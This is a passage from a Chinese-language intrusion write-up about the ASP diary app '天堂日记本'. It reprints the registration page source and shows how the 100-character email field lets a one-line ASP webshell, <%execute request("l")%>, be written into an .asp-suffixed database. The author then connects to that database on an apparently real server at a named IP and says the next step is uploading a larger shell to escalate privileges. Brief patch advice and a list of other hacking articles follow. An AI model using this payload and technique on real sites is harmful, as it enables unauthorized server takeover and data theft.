
哈哈,一共三个表。所有的日记都可以看到了。我们继续看一下userreg.asp这个用户注册页面。其代码如下:
<!--#include file="inc/conn.asp"-->
<%
reguser=reguservalue 'reguser=1:允许新用户注册; reguser=0:不允许新用户注册
if reguser=0 then
response.write "<script>alert('对不起,管理员已经限制新用户注册!');this.location.href='index.asp';</script>"
response.end
end if
%>
<!--#include file="top.asp"-->
<%
if Trim(Request.QueryString("ation"))="reg" then
username=replace(Trim(Request.Form("username")),"'","") password=replace(Trim(Request.Form("password")),"'","") sex=Trim(Request.Form("sex"))
email=Trim(Request.Form("email"))
regip=Trim(Request.Form("regip"))
set rs=server.CreateObject("adodb.recordset")
sql="select * from userlist where username='"&username&"'"
rs.open sql,conn,1,1
if not (rs.bof and rs.eof) then
Response.Write("<script language=JavaScript>alert('该用户名称已经被注册,请尝试其他名称。')</script>")
else
set rs=server.CreateObject("adodb.recordset")
sql="select * from userlist"
rs.open sql,conn,1,3
rs.addnew
rs("username")=username
rs("password")=password
rs("email")=email
rs("regip")=regip
rs("sex")=sex
rs.update
response.cookies("user")=username
response.cookies("userid")=rs("userid")
rs.close
response.Redirect("userreg.asp?action=ok&username="&username)
end if
end if
%>
<script language="JavaScript">
function CheckForm()
{
if (document.regform.username.value.length == 0) {
alert("请输入你的呢称.");
document.regform.username.focus();
return false;
}
if (document.regform.password.value.length == 0) {
alert("请输入你的密码.");
document.regform.password.focus();
return false;
}
if (document.regform.password.value != document.regform.password2.value) {
alert("两次输入密码不相同.");
document.regform.password.focus();
return false;
}
if (document.regform.email.value.length == 0) {
alert("请输入你的邮箱.");
document.regform.password.focus();
return false;
}
if (document.regform.sex[0].checked == false&&document.regform.sex[1].checked == false&&document.regform.sex[2].checked == false) {
alert("请选择性别.");
return false;
}
}
</script>
<html>
<head>
<title>[用户注册] - 天堂日记本</title>
<meta name="Robots" content="all">
<meta name="Generator" content="Dreamweaver,ASP">
<meta name="copyright" content="Copyright 2006-2008 - aqbt.cn">
<meta name="Author" content="rayzhang,jbb008@163.com">
<meta name="description" content="天堂多用户日记本,心情日记,记录你每天的酸甜苦乐。">
<meta name="keywords" content="梦想中国,天堂,日记,日记本,多用户,天堂日记本,AQBT.CN。">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
<!--
body,td,th {
font-size: 12px;
}
body {
margin-top: 3px;
margin-bottom: 1px;
}
-->
</style>
<link href="css.css" rel="stylesheet" type="text/css">
</head>
<body>
<table width="600" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#E1E9FC" class="biao">
<tr>
<td>
<div align="center">
<%
Path="http://"&request.servervariables("server_name")&replace(request.servervariables("script_name"),"userreg.asp","index.asp")
if request.QueryString("action")="ok" then
username=request.QueryString("username")
okstring="<div align=center><font color=#0099CC>"&username&"</font>,恭喜你!你已经成功注册了<font color=#0099CC>飘易日记本</font>!<br><br>你所申请的日记本地址是:<a href="&path&"?user="&username&">"&Path&"?user="&username&"</a></div>"
okstring=okstring+"<br>你可以通过上面的地址直接访问你的日记本,添加、管理你的日记!"
response.Write(okstring)
else
%>
</div></td>
</tr>
<tr>
<td><div align="center">
<p><span style="color: #FF6600; font-weight: bold; font-size:
<span style="color: #003399">用 户 申 请</span></span></p>
<table width="260" height="150" border="1" align="center" cellpadding="0" cellspacing="0" bgcolor="#99CCFF" class="xi">
<form language="javascript" name="regform" method="post" action="userreg.asp?ation=reg" onSubmit="return CheckForm()">
<tr>
<td height="18" align="center"><div align="right">昵 称:<br>
</div></td>
<td>
<input name="username" type="text" class="input2" id="username" size="18" maxlength="12">
*
</td>
</tr>
<tr>
<td height="18" align="center"><div align="right">密 码:<br>
</div></td>
<td>
<input name="password" type="password" class="input2" id="password" size="20" maxlength="12">
*
</td>
</tr>
<tr>
<td height="3" align="center"><div align="right">确 认:</div></td>
<td><input name="password2" type="password" class="input2" id="password2" size="20" maxlength="12">
*
</td>
</tr>
<tr>
<td height="3" align="center"><div align="right">邮 箱:</div></td>
<td><input name="email" type="text" class="input2" id="email" size="19" maxlength="100">
*</td>
</tr>
<tr>
<td height="3" align="center"><div align="right">性 别:<br>
</div></td>
<td>
男孩
<input type="radio" name="sex" value="images/Male.gif">
女孩
<input type="radio" name="sex" value="images/Female.gif">
保密
<input type="radio" name="sex" value="images/unknow.gif">
<input type="hidden" name="regip" value="<%=request.ServerVariables("REMOTE_ADDR")%>"></td>
</tr>
<tr align="center">
<td height="28" colspan="2">
<input type="submit" name="Submit" value="注册申请">
<input type="reset" name="Submit2" value="清除重来"> </td>
</tr>
</form>
</table>
<p> </p>
</div></td>
</tr>
</table>
<%end if%>
</body>
</html>
<!--#include file="bottom.asp"-->
以上程序,我们发现,只要输入用户名、密码及邮箱地址就能直接注册用户。程序过滤了表单中提交的用户名和密码单引号,简单的判断一下用户名和密码是否重复就直接带到数据库中了。我们知道数据库是asp后缀的,如果我们在用户名和密码处填写一句话木马,不就可以得到一个webshell了吗?当经过试验我们发现这是不可以的,如图:

原来作者对注入用户名和密码的表单做了限制,最大长度都为12。不符合一句话木马的最小长度。那是不是说我们无法利用呢?我们再回到源程序中来吧:
input name="password" type="password" class="input2" id="password" size="20" maxlength="12">
*
</td>
</tr>
<tr>
<td height="3" align="center"><div align="right">确 认:</div></td>
<td><input name="password2" type="password" class="input2" id="password2" size="20" maxlength="12">
*
</td>
</tr>
<tr>
<td height="3" align="center"><div align="right">邮 箱:</div></td>
<td><input name="email" type="text" class="input2" id="email" size="19" maxlength="100">
呵呵,大家看到了,程序对用户名和密码都做了12个字节的限制,但是对于邮箱输入的长度却是最大100个字符。足够我们插入一句话木马的长度了。
好了,我们下面就到主页上注册一个帐号,然后在邮箱地址里输入一句话木马<%execute request("l")%>。提交后提示注册成功,如图

然后我们连接到它的数据库地址http://221.195.40.85:81/data/aqbt.cn.asp,看到已经连接成功了:

之后就是上传我们的大马提权了。
总结:只要是数据库是asp后缀的且数据库连接文件没有做容错处理的站,直接可以拿到Webshell。
漏洞的修补:
a) 暴库漏洞:在conn.asp开头加入容错语句“On error resume next”就可以了。但是默认的数据库路径还是要进行修改的。最好还是把数据库加上防下载处理。
b) 邮件地址:可以直接用conn.asp中的函数 HTMLEncode(fString)过滤一下就可以了。
| dxbbs漏洞(通杀7.3以前所有版本) | 04-06 | |
| 记对一足球推荐站点的渗透 | 04-06 | |
| 注射DB_ONER权限并且主机与数据库 | 04-06 | |
| bbsxp sql最新版再爆0day? | 04-02 | |
| BBS的通杀跨站方法 | 04-02 | |
| CCTV的XSS跨站 | 03-28 | |
| 全面解析百度XSS跨站漏洞 | 03-26 | |
| Wordpress 2.1.2 以及之前版本物 | 03-26 | |
| 动易最新入侵方法 | 03-15 | |
| PJBlog漏洞利用 | 03-14 | |
| DVBBS <= 7.1.0 sp1 博客 远程注 | 03-14 | |
| php简单入侵 | 02-07 | |